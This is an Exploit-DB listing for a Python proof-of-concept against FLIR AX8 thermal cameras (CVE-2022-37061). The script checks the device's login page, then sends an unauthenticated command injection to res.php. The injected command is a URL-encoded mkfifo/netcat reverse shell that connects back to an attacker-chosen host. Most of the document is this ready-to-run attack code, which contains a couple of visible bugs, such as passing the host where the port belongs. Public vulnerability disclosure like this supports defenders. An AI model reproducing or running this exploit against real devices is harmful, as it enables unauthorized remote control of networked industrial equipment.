Exploit-DB #52240
Description: FLIR AX8 1.46.16  - Remote Command Injection
Type: webapps
Platform: hardware
Date: 2025-04-16
Author: ub3rsick

Exploit:
# Exploit Title: FLIR AX8 1.46.16  - Remote Command Injection
# Date: 8/19/2022
# Exploit Author: Samy Younsi Naqwada (https://samy.link), SC
# Vendor Homepage: https://www.flir.com/
# Software Link: https://www.flir.com/products/ax8-automation/
# PoC: https://www.youtube.com/watch?v=dh0_rfAIWok
# Version: 1.46.16 and under.
# Tested on: FLIR AX8 version 1.46.16 (Ubuntu)
# CVE : CVE-2022-37061

from __future__ import print_function, unicode_literals
from bs4 import BeautifulSoup
import argparse
import requests
import json
import urllib3

urllib3.disable_warnings()

def banner():
    flirLogo = """
    тЦИтЦИтЦИтЦИтЦИтЦИтЦИтХЧтЦИтЦИтХЧ тЦИтЦИтХЧтЦИтЦИтЦИтЦИтЦИтЦИтХЧ
    тЦИтЦИтХФтХРтХРтХРтХРтХЭтЦИтЦИтХС тЦИтЦИтХСтЦИтЦИтХФтХРтХРтЦИтЦИтХЧ
    тЦИтЦИтЦИтЦИтЦИтХЧ тЦИтЦИтХС тЦИтЦИтХСтЦИтЦИтЦИтЦИтЦИтЦИтХФтХЭ
    тЦИтЦИтХФтХРтХРтХЭ тЦИтЦИтХС тЦИтЦИтХСтЦИтЦИтХФтХРтХРтЦИтЦИтХЧ
    тЦИтЦИтХС тЦИтЦИтЦИтЦИтЦИтЦИтЦИтХЧтЦИтЦИтХСтЦИтЦИтХС тЦИтЦИтХС
    тХЪтХРтХЭ тХЪтХРтХРтХРтХРтХРтХРтХЭтХЪтХРтХЭтХЪтХРтХЭ тХЪтХРтХЭ
    .---------------------.
    тЦИтЦИтЦИтЦИтЦИтХЧ тЦИтЦИтХЧ тЦИтЦИтХЧ тЦИтЦИтЦИтЦИтЦИтХЧ /--'--.------.--------/|
    тЦИтЦИтХФтХРтХРтЦИтЦИтХЧтХЪтЦИтЦИтХЧтЦИтЦИтХФтХЭтЦИтЦИтХФтХРтХРтЦИтЦИтХЧ |Say :) |__Ll__| [==] ||
    тЦИтЦИтЦИтЦИтЦИтЦИтЦИтХС тХЪтЦИтЦИтЦИтХФтХЭ тХЪтЦИтЦИтЦИтЦИтЦИтХФтХЭ |cheese!| .--. | '''' ||
    тЦИтЦИтХФтХРтХРтЦИтЦИтХС тЦИтЦИтХФтЦИтЦИтХЧ тЦИтЦИтХФтХРтХРтЦИтЦИтХЧ | |( () )| ||
    тЦИтЦИтХС тЦИтЦИтХСтЦИтЦИтХФтХЭ тЦИтЦИтХЧтХЪтЦИтЦИтЦИтЦИтЦИтХФтХЭ | | `--` | |/
    тХЪтХРтХЭ тХЪтХРтХЭтХЪтХРтХЭ тХЪтХРтХЭ тХЪтХРтХРтХРтХРтХЭ `-------`------`------`
    \033[1;92mSamy Younsi (Necrum Security Labs)\033[1;m
    \033[1;91mFLIR AX8 Unauthenticated OS Command Injection\033[1;m
    FOR EDUCATIONAL PURPOSE ONLY.
    """
    return print('\033[1;94m{}\033[1;m'.format(flirLogo))

def pingWebInterface(RHOST, RPORT):
    url = 'http://{}:{}/login/'.format(RHOST, RPORT)
    response = requests.get(url, allow_redirects=False, verify=False, timeout=60)
    try:
        if response.status_code != 200:
            print('[!] \033[1;91mError: FLIR AX8 device web interface is not reachable. Make sure the specified IP is correct.\033[1;m')
            exit()
        soup = BeautifulSoup(response.content.decode('utf-8'), 'html.parser')
        version = soup.find('p', id='login-title').string
        print('[INFO] {} detected.'.format(version))
    except:
        print('[ERROR] Can\'t grab the device version...')

def execReverseShell(RHOST, RPORT, LHOST, LPORT):
    url = 'http://{}:{}/res.php'.format(RHOST, RPORT)
    payload = 'rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7Csh%20-i%202%3E%261%7Cnc%20{}%20{}%20%3E%2Ftmp%2Ff'.format(LHOST, LHOST)
    data = 'action=alarm&id=2;{}'.format(payload)
    headers = {
        'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
    }
    try:
        print('[INFO] Executing reverse shell...')
        response = requests.post(url, headers=headers, data=data, allow_redirects=False, verify=False)
        print('Reverse shell successfully executed. {}:{}'.format(LHOST, LPORT))
        return
    except Exception as e:
        print('Reverse shell failed. Make sure the FLIR AX8 device can reach the host {}:{}').format(LHOST, LPORT)
        return False

def main():
    banner()
    parser = argparse.ArgumentParser(description='Script PoC that exploit an unauthenticated remote command injection on FLIR AX8 devices.', add_help=False)
    parser.add_argument('--RHOST', help="Refers to the IP of the target machine. (FLIR AX8 device)", type=str, required=True)
    parser.add_argument('--RPORT', help="Refers to the open port of the target machine.", type=int, required=True)
    parser.add_argument('--LHOST', help="Refers to the IP of your machine.", type=str, required=True)
    parser.add_argument('--LPORT', help="Refers to the open port of your machine.", type=int, required=True)
    args = parser.parse_args()
    pingWebInterface(args.RHOST, args.RPORT)
    execReverseShell(args.RHOST, args.RPORT, args.LHOST, args.LPORT)

if __name__ == "__main__":
    main()